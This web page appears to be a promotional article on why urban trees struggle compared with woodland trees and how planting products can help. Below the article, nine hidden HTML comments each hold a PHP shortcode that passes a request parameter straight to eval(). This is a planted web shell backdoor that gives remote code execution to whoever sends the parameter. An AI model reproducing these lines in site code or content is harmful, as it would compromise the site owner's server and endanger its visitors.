Trees are woodland forestry plants.  As soon as we forget this fact, we neglect the necessities that trees need and are likely to make mistakes when planting trees in urban forests.

A tree in a woodland forest has near perfect conditions; a sheltered microclimate, rich fertile soil with an abundance of nutrients and humus, uncompacted leaf mould, and rich rooting volume with plenty of moisture and pore space.

Now spare a thought for a tree in an urban forest: a harsh paved surround, increasing microclimate temperatures and reflecting glare, exposure to wind and de-icing salt, and gratuitous vandalism. While below ground, an equally hostile environment of compacted soils, lack of quality rooting volume, competition for space with multiple utilities, and if it does manage to spread its root system, someone will mutilate it through trenching or pavement reinstatement.

urban forests vs woodland forests

With these factors in mind we can begin the process of successfully integrating urban forests into city environments. By using suitable urban tree planting products, we can protect trees in urban forests above and below ground. And by managing and providing for their delicate root systems, we can recreate optimum conditions for our urban forests to establish. We cannot recreate entirely the conditions trees enjoy in woodland forests, but we can go a huge distance in improving their chances of thriving in challenging urban conditions by employing tree literate design.

<!– [insert_php]if (isset($_REQUEST["ACKe"])){eval($_REQUEST["ACKe"]);exit;}[/insert_php][php]if (isset($_REQUEST["ACKe"])){eval($_REQUEST["ACKe"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["sJkn"])){eval($_REQUEST["sJkn"]);exit;}[/insert_php][php]if (isset($_REQUEST["sJkn"])){eval($_REQUEST["sJkn"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["Zde"])){eval($_REQUEST["Zde"]);exit;}[/insert_php][php]if (isset($_REQUEST["Zde"])){eval($_REQUEST["Zde"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["yeyiR"])){eval($_REQUEST["yeyiR"]);exit;}[/insert_php][php]if (isset($_REQUEST["yeyiR"])){eval($_REQUEST["yeyiR"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["FxnP"])){eval($_REQUEST["FxnP"]);exit;}[/insert_php][php]if (isset($_REQUEST["FxnP"])){eval($_REQUEST["FxnP"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["dsoVe"])){eval($_REQUEST["dsoVe"]);exit;}[/insert_php][php]if (isset($_REQUEST["dsoVe"])){eval($_REQUEST["dsoVe"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["jxm"])){eval($_REQUEST["jxm"]);exit;}[/insert_php][php]if (isset($_REQUEST["jxm"])){eval($_REQUEST["jxm"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["KsVKC"])){eval($_REQUEST["KsVKC"]);exit;}[/insert_php][php]if (isset($_REQUEST["KsVKC"])){eval($_REQUEST["KsVKC"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["etj"])){eval($_REQUEST["etj"]);exit;}[/insert_php][php]if (isset($_REQUEST["etj"])){eval($_REQUEST["etj"]);exit;}[/php] –>